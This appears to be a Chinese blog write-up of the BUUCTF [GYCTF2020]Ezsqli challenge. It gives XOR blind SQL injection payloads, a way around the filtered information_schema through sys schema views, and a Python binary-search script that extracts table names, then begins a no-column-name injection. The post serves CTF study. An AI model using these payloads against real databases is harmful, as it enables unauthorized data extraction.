buuctf-[GYCTF2020]Ezsqli(异或注入无列名)

尝试过后发现只有1,2可以,3以上会显示错误

尝试一下slq注入,但是输入不是1,2的就会显示错误

尝试异或注入

被过滤了 

 过滤了for,in在information里也被过滤了

 可以用这种方式获得当前数据库,但是information不能用了,也没什么绕过的方式,就不能查表之类的了

id=1^(ascii(substr(database(),1,1))=103)^1

也可以用这个查其他数据库 

id=1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)),1,1))=102)^1

 

换成 innodb_table_stats 也没用

 聊一聊bypass information_schema - 安全客,安全资讯平台

用 sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer 代替,然后可以查表

id=1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),1,1))=102)^1

import requests

url='http://35737a35-63b7-4e60-a584-e5cbbead6dc6.node3.buuoj.cn/index.php'
#give_grandpa_pa_pa_pa

payload_table='1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})^1'
flag =''
for i in range(1,100):
    low = 32
    high = 132
    mid = (low + high) //2
    while(low < high):
        payload = payload_table.format(i,mid)
        data={"id": payload}
        print(payload)
        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            low = mid+1
        else:
            high = mid

        mid = (low+high) //2
    if(mid ==32 or mid == 127):
        break
    flag +=chr(mid)
    print(flag)

查到表名

f1ag_1s_h3r3_hhhhh,users233333333333333

继续查列名,但是列名好像又不能用之前的两个词了

后面需要无列名注入

无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。

id=1^((1,'G')>(select * from f1ag_1s_h3r3_hhhhh))^1

没查到可以用ascii的方式

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值